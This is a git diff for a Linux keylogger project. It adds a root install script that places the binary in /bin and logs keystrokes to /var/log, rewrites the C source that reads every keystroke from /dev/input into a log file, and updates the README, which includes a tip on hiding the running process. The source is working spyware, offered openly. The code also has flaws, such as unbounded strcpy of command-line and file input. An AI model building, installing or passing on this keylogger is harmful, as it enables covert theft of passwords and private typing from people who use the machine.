diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 9cecc1d..0000000 --- a/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. 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But first, please read -. diff --git a/README.md b/README.md index 25d1970..5773a93 100644 --- a/README.md +++ b/README.md @@ -7,32 +7,42 @@ $ git clone https://github.com/dimkouv/Linux-Keylogger ``` -- Compile keylogger +- Install ```sh $ cd Linux-Keylogger -$ make +$ sudo ./install.sh ``` +- Run +```sh +$ sudo keylogger +``` -- Find your keyboard device -Your keyboard device should be +- Customize +Give log file +```sh +$ keylogger -o /path/to/my/logfile.txt ``` -/dev/input/eventX + +
+ +Give keyboard device +```sh +$ keylogger -k /dev/input/eventX ``` + +> Find your keyboard device +> Your keyboard device should be +> /dev/input/eventX + Find it using ```sh $ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard ``` -- Run keylogger -```sh -$ sudo ./keylogger /dev/input/eventX -``` -Now everything that is typed should be printed in the terminal. -Also '.keylogs.log' file is created under current directory. -```sh -$ cat ./.keylogs.log -``` +
+- Open ```/usr/share/keylogger/.options``` for manual settings. +- To hide keylogger press Ctrl+Z and then close the terminal. diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..c72d586 --- /dev/null +++ b/install.sh @@ -0,0 +1,43 @@ +#!/bin/bash + +### colored output +RED='\033[0;31m' +GREEN='\033[0;32m' +NC='\033[0m' # No Color + +################################################################################ +## Find keyboard device from /dev/input/ +################################################################################ +printf "${GREEN}Searching keyboard device...${NC}\n"; + +KEYBOARD="$(cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard | + grep evdev | awk '{print $NF}' | head -1 | tr -d '"')"; + +echo "Keyboard device appears: $KEYBOARD"; +echo "keyboard=$KEYBOARD" > /usr/share/keylogger/.settings; +################################################################################ +cd src + +mkdir -p /usr/share/keylogger +echo "logfile=/var/log/keylogger.log" >> /usr/share/keylogger/.settings; + +# compile keylogger +printf "${GREEN}Compiling keylogger...${NC}\n"; + +make; + +# move executable to bin +cp keylogger /bin/keylogger; + +printf "${GREEN}Cleaning project...${NC}\n"; +source ~/.bashrc; + +make clean > /dev/null; + +################################################################################ +printf "*******************" +printf "${RED}Installation finished.${NC}*******************\n"; +printf "1. If keyboard device errors appear give keyboard device manually \n"; +printf " using 'keylogger -k /dev/input/eventX'\n"; +printf "\n2. Run as root using 'sudo keylogger'\n"; +################################################################################ diff --git a/main.c b/main.c deleted file mode 100644 index 3f7d437..0000000 --- a/main.c +++ /dev/null @@ -1,57 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -#include "keylogger.h" -#include "mappings.h" - - -int main(int argc, char *argv[]) { - // Convert key codes to string values - // ex: mappings[code] = "value" - char * mappings[1024]; - int i; - for (i=0; i<1024; i++) mappings[i] = "invalid"; - generate_mappings(mappings); - - - // Check for errors - if (input_has_errors(argc, argv)) { - return -1; - } - if (!user_is_root()) { - return -1; - } - - // Start keyboard device as read only - int fd; - fd = open(argv[1], O_RDONLY); - - // Initialize input event - struct input_event ev; - - // Scan for key strokes and print them - - - // Open log file for append - FILE * logfile; - logfile = fopen("./.keylogs.log", "a"); - - - puts("Keylogger started. Stop it using Ctrl-C"); - while (1){ - int key_code = get_key_press(fd, ev); // get key code - if (key_code < 1024) { - char * log = mappings[key_code]; - printf("%s\n", log); // print value of key code - fprintf(logfile, "%s", log); // write to log file - } - fflush(logfile); - } - - return 0; -} diff --git a/keylogger.c b/src/keylogger.c similarity index 56% rename from keylogger.c rename to src/keylogger.c index ac56586..14b4d32 100644 --- a/keylogger.c +++ b/src/keylogger.c @@ -7,30 +7,13 @@ */ int user_is_root() { if (geteuid() != 0) { - puts("You should run this script as root"); - puts("ex: sudo ./keylogger /dev/input/deviceX"); + puts("#ERROR: You should run this script as root!"); return 0; } return 1; } -/* - * If no input device specified returns 1 - * If no errors it returns 0 - */ -int input_has_errors(int argc, char *argv[]) { - if(argc < 2) { - puts("No input device given."); - puts("Usage: './keylogger device'"); - puts("Device should be /dev/input/device*"); - puts("Find it using: `cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard`"); - return 1; - } - return 0; -} - - /* * -Reads input event (key stroke) * -Returns the key when it's released diff --git a/keylogger.h b/src/keylogger.h similarity index 68% rename from keylogger.h rename to src/keylogger.h index 974535d..0070319 100644 --- a/keylogger.h +++ b/src/keylogger.h @@ -9,11 +9,7 @@ #include #include - int get_key_press(int fd, struct input_event ev); -int input_has_errors(int argc, char *argv[]); int user_is_root(); -char * get_key_description(int key_code); -void generate_mappings(char ** mappings); #endif diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..36847be --- /dev/null +++ b/src/main.c @@ -0,0 +1,98 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "keylogger.h" +#include "mappings.h" + + +int main(int argc, char *argv[]) { + // Convert key codes to string values + // mappings[code] = "value" + // ex: mappings[1] = "" + char * mappings[1024]; + generate_mappings(mappings); + + if (!user_is_root()) return -1; + + // default run settings + char logfile_path[1024] = "/var/log/keylogger.log"; + char keyboard_device[1024] = "/dev/input/event0"; + + // ------------------------------------------------------------------------ + // LOAD SETTINGS + // load run settings from .settings file + FILE *file; + file = fopen("/usr/share/keylogger/.settings", "r"); + if (file != NULL) { + char buffer[1024]; + while (fgets(buffer, 1024, file) ) { + char * setting = strtok(buffer, "="); + + if (strcmp(setting, "keyboard") == 0) { + setting = strtok(NULL, "\n"); + strcpy(keyboard_device, setting); + } + + if (strcmp(setting, "logfile") == 0) { + setting = strtok(NULL, "\n"); + strcpy(logfile_path, setting); + } + } + fclose(file); + } else { + puts ("#WARNING: Cannot read .settings!"); + } + + + // check for run settings from arguments + int i; + for (i = 1; i < argc; i++) { + if (strcmp(argv[i], "-o") == 0 && i+1 < argc) { + strncpy(logfile_path, argv[i+1], 1024); + } + if (strcmp(argv[i], "-k") == 0 && i+1 < argc) { + strcpy(keyboard_device, argv[i+1]); + } + } + // ------------------------------------------------------------------------ + + // Start keyboard device as read only + int fd; + fd = open(keyboard_device, O_RDONLY); + if (!fd) { + puts("#ERROR: Invalid keyboard device."); + return -1; + } + + // Initialize input event + struct input_event ev; + + // Open log file for append + FILE * logfile; + logfile = fopen(logfile_path, "a"); + if (logfile == NULL) { + puts("#ERROR: Cannot open logfile."); + return -1; + } + + puts("Keylogger started. Stop it using Ctrl-C"); + printf("Writing to %s from %s\n", logfile_path, keyboard_device); + + while (1){ + int key_code = get_key_press(fd, ev); // get key code + if (key_code < 1024) { + char * log = mappings[key_code]; + printf("%s\n", log); // print value of key code + fprintf(logfile, "%s", log); // write to log file + } + fflush(logfile); + } + + return 0; +} diff --git a/makefile b/src/makefile similarity index 100% rename from makefile rename to src/makefile diff --git a/mappings.c b/src/mappings.c similarity index 78% rename from mappings.c rename to src/mappings.c index 5db9ece..1aae89b 100644 --- a/mappings.c +++ b/src/mappings.c @@ -4,7 +4,10 @@ * Generates a value for each key stroke code */ void generate_mappings(char ** codes) { - codes[1] = "esc"; + int i; + for (i=0; i<1024; i++) codes[i] = ""; + + codes[1] = ""; codes[59] = "f1"; codes[60] = "f2"; codes[61] = "f3"; @@ -31,9 +34,9 @@ void generate_mappings(char ** codes) { codes[11] = "0"; codes[12] = "-"; codes[13] = "="; - codes[14] = "back"; + codes[14] = ""; // -- - codes[15] = "tab"; + codes[15] = ""; codes[16] = "q"; codes[17] = "w"; codes[18] = "e"; @@ -48,7 +51,7 @@ void generate_mappings(char ** codes) { codes[27] = "]"; codes[43] = "\\"; // -- - codes[58] = "caps"; + codes[58] = ""; codes[30] = "a"; codes[31] = "s"; codes[32] = "d"; @@ -62,7 +65,7 @@ void generate_mappings(char ** codes) { codes[40] = "\""; codes[28] = "\n"; // -- - codes[42] = "shift"; + codes[42] = ""; codes[44] = "z"; codes[45] = "x"; codes[46] = "c"; @@ -73,14 +76,14 @@ void generate_mappings(char ** codes) { codes[51] = ","; codes[52] = "."; codes[53] = "/"; - codes[54] = "shift"; + codes[54] = ""; // -- - codes[29] = "ctrl"; - codes[125] = "super"; - codes[56] = "alt"; + codes[29] = ""; + codes[125] = ""; + codes[56] = ""; codes[57] = " "; - codes[100] = "alt"; - codes[126] = "super"; - codes[127] = "right click"; - codes[97] = "ctrl"; + codes[100] = ""; + codes[126] = ""; + codes[127] = ""; + codes[97] = ""; } diff --git a/mappings.h b/src/mappings.h similarity index 100% rename from mappings.h rename to src/mappings.h